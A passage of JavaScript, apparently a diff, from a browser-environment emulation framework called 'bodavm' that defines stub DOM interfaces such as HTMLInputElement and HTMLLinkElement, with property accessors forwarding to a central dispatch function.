bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "autocomplete_get", arguments)}, set:function autocomplete (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "autocomplete_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "defaultChecked", {configurable:true, enumerable:true, get:function defaultChecked (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "defaultChecked_get", arguments)}, set:function defaultChecked (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "defaultChecked_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "checked", {configurable:true, enumerable:true, get:function checked (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "checked_get", arguments)}, set:function checked (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "checked_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "dirName", {configurable:true, enumerable:true, get:function dirName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "dirName_get", arguments)}, set:function dirName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "dirName_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "disabled", {configurable:true, enumerable:true, get:function disabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "disabled_get", arguments)}, set:function disabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "disabled_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "form", {configurable:true, enumerable:true, get:function form (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "form_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "files", {configurable:true, enumerable:true, get:function files (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "files_get", arguments)}, set:function files (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "files_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "formAction", {configurable:true, enumerable:true, get:function formAction (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "formAction_get", arguments)}, set:function formAction (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "formAction_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "formEnctype", {configurable:true, enumerable:true, get:function formEnctype (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "formEnctype_get", arguments)}, set:function formEnctype (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "formEnctype_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "formMethod", {configurable:true, enumerable:true, get:function formMethod (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "formMethod_get", arguments)}, set:function formMethod (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "formMethod_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "formNoValidate", {configurable:true, enumerable:true, get:function formNoValidate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "formNoValidate_get", arguments)}, set:function formNoValidate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "formNoValidate_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "formTarget", {configurable:true, enumerable:true, get:function formTarget (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "formTarget_get", arguments)}, set:function formTarget (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "formTarget_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "height_get", arguments)}, set:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "height_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "indeterminate", {configurable:true, enumerable:true, get:function indeterminate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "indeterminate_get", arguments)}, set:function indeterminate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "indeterminate_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "list", {configurable:true, enumerable:true, get:function list (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "list_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "max", {configurable:true, enumerable:true, get:function max (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "max_get", arguments)}, set:function max (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "max_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "maxLength", {configurable:true, enumerable:true, get:function maxLength (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "maxLength_get", arguments)}, set:function maxLength (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "maxLength_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "min", {configurable:true, enumerable:true, get:function min (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "min_get", arguments)}, set:function min (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "min_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "minLength", {configurable:true, enumerable:true, get:function minLength (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "minLength_get", arguments)}, set:function minLength (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "minLength_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "multiple", {configurable:true, enumerable:true, get:function multiple (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "multiple_get", arguments)}, set:function multiple (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "multiple_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "name_get", arguments)}, set:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "name_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "pattern", {configurable:true, enumerable:true, get:function pattern (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "pattern_get", arguments)}, set:function pattern (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "pattern_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "placeholder", {configurable:true, enumerable:true, get:function placeholder (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "placeholder_get", arguments)}, set:function placeholder (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "placeholder_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "readOnly", {configurable:true, enumerable:true, get:function readOnly (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "readOnly_get", arguments)}, set:function readOnly (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "readOnly_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "required", {configurable:true, enumerable:true, get:function required (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "required_get", arguments)}, set:function required (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "required_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "size", {configurable:true, enumerable:true, get:function size (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "size_get", arguments)}, set:function size (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "size_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "src", {configurable:true, enumerable:true, get:function src (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "src_get", arguments)}, set:function src (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "src_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "step", {configurable:true, enumerable:true, get:function step (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "step_get", arguments)}, set:function step (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "step_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "type_get", arguments)}, set:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "type_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "defaultValue", {configurable:true, enumerable:true, get:function defaultValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "defaultValue_get", arguments)}, set:function defaultValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "defaultValue_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "value", {configurable:true, enumerable:true, get:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "value_get", arguments)}, set:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "value_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "valueAsDate", {configurable:true, enumerable:true, get:function valueAsDate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "valueAsDate_get", arguments)}, set:function valueAsDate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "valueAsDate_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "valueAsNumber", {configurable:true, enumerable:true, get:function valueAsNumber (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "valueAsNumber_get", arguments)}, set:function valueAsNumber (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "valueAsNumber_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "width_get", arguments)}, set:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "width_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "willValidate", {configurable:true, enumerable:true, get:function willValidate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "willValidate_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "validity", {configurable:true, enumerable:true, get:function validity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "validity_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "validationMessage", {configurable:true, enumerable:true, get:function validationMessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "validationMessage_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "labels", {configurable:true, enumerable:true, get:function labels (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "labels_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "selectionStart", {configurable:true, enumerable:true, get:function selectionStart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "selectionStart_get", arguments)}, set:function selectionStart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "selectionStart_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "selectionEnd", {configurable:true, enumerable:true, get:function selectionEnd (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "selectionEnd_get", arguments)}, set:function selectionEnd (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "selectionEnd_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "selectionDirection", {configurable:true, enumerable:true, get:function selectionDirection (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "selectionDirection_get", arguments)}, set:function selectionDirection (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "selectionDirection_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "align", {configurable:true, enumerable:true, get:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "align_get", arguments)}, set:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "align_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "useMap", {configurable:true, enumerable:true, get:function useMap (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "useMap_get", arguments)}, set:function useMap (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "useMap_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "webkitdirectory", {configurable:true, enumerable:true, get:function webkitdirectory (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "webkitdirectory_get", arguments)}, set:function webkitdirectory (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "webkitdirectory_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "incremental", {configurable:true, enumerable:true, get:function incremental (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "incremental_get", arguments)}, set:function incremental (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "incremental_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "checkValidity", {configurable:true, enumerable:true, writable:true, value:function checkValidity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "checkValidity", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "reportValidity", {configurable:true, enumerable:true, writable:true, value:function reportValidity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "reportValidity", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "select", {configurable:true, enumerable:true, writable:true, value:function select (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "select", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "setCustomValidity", {configurable:true, enumerable:true, writable:true, value:function setCustomValidity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "setCustomValidity", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "setRangeText", {configurable:true, enumerable:true, writable:true, value:function setRangeText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "setRangeText", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "setSelectionRange", {configurable:true, enumerable:true, writable:true, value:function setSelectionRange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "setSelectionRange", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "showPicker", {configurable:true, enumerable:true, writable:true, value:function showPicker (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "showPicker", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "stepDown", {configurable:true, enumerable:true, writable:true, value:function stepDown (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "stepDown", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "stepUp", {configurable:true, enumerable:true, writable:true, value:function stepUp (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "stepUp", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLInputElement', "webkitEntries", {configurable:true, enumerable:true, get:function webkitEntries (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLInputElement'].prototype, "HTMLInputElement", "webkitEntries_get", arguments)}, set:undefined},'prototype'); - -// HTMLLabelElement对象 -bodavm.memory.globalobj['HTMLLabelElement'] = function HTMLLabelElement(){if (!(this instanceof HTMLLabelElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLLabelElement'], "HTMLLabelElement"); -bodavm.memory.globalobj['HTMLLabelElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLLabelElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLLabelElement', "form", {configurable:true, enumerable:true, get:function form (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLabelElement'].prototype, "HTMLLabelElement", "form_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLLabelElement', "htmlFor", {configurable:true, enumerable:true, get:function htmlFor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLabelElement'].prototype, "HTMLLabelElement", "htmlFor_get", arguments)}, set:function htmlFor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLabelElement'].prototype, "HTMLLabelElement", "htmlFor_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLLabelElement', "control", {configurable:true, enumerable:true, get:function control (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLabelElement'].prototype, "HTMLLabelElement", "control_get", arguments)}, set:undefined},'prototype'); - -// HTMLLegendElement对象 -bodavm.memory.globalobj['HTMLLegendElement'] = function HTMLLegendElement(){if (!(this instanceof HTMLLegendElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLLegendElement'], "HTMLLegendElement"); -bodavm.memory.globalobj['HTMLLegendElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLLegendElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLLegendElement', "form", {configurable:true, enumerable:true, get:function form (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLegendElement'].prototype, "HTMLLegendElement", "form_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLLegendElement', "align", {configurable:true, enumerable:true, get:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLegendElement'].prototype, "HTMLLegendElement", "align_get", arguments)}, set:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLegendElement'].prototype, "HTMLLegendElement", "align_set", arguments)}},'prototype'); - -// HTMLLIElement对象 -bodavm.memory.globalobj['HTMLLIElement'] = function HTMLLIElement(){if (!(this instanceof HTMLLIElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLLIElement'], "HTMLLIElement"); -bodavm.memory.globalobj['HTMLLIElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLLIElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLLIElement', "value", {configurable:true, enumerable:true, get:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLIElement'].prototype, "HTMLLIElement", "value_get", arguments)}, set:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLIElement'].prototype, "HTMLLIElement", "value_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLLIElement', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLIElement'].prototype, "HTMLLIElement", "type_get", arguments)}, set:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLIElement'].prototype, "HTMLLIElement", "type_set", arguments)}},'prototype'); - -// HTMLLinkElement对象 -bodavm.memory.globalobj['HTMLLinkElement'] = function HTMLLinkElement(){if (!(this instanceof HTMLLinkElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLLinkElement'], "HTMLLinkElement"); -bodavm.memory.globalobj['HTMLLinkElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLLinkElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLLinkElement', "disabled", {configurable:true, enumerable:true, get:function disabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "disabled_get", arguments)}, set:function disabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "disabled_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLLinkElement', "href", {configurable:true, enumerable:true, get:function href (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "href_get", arguments)}, set:function href (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "href_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLLinkElement', "crossOrigin", {configurable:true, enumerable:true, get:function crossOrigin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "crossOrigin_get", arguments)}, set:function crossOrigin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "crossOrigin_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLLinkElement', "rel", {configurable:true, enumerable:true, get:function rel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "rel_get", arguments)}, set:function rel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "rel_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLLinkElement', "relList", {configurable:true, enumerable:true, get:function relList (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "relList_get", arguments)}, set:function relList (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "relList_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLLinkElement', "media", {configurable:true, enumerable:true, get:function media (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "media_get", arguments)}, set:function media (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "media_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLLinkElement', "hreflang", {configurable:true, enumerable:true, get:function hreflang (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "hreflang_get", arguments)}, set:function hreflang (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "hreflang_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLLinkElement', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "type_get", arguments)}, set:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "type_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLLinkElement', "as", {configurable:true, enumerable:true, get:function as (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "as_get", arguments)}, set:function as (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "as_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLLinkElement', "referrerPolicy", {configurable:true, enumerable:true, get:function referrerPolicy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "referrerPolicy_get", arguments)}, set:function referrerPolicy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "referrerPolicy_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLLinkElement', "sizes", {configurable:true, enumerable:true, get:function sizes (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLLinkElement'].prototype, "HTMLLinkElement", "sizes_get", arguments)}, set:function sizes (){return 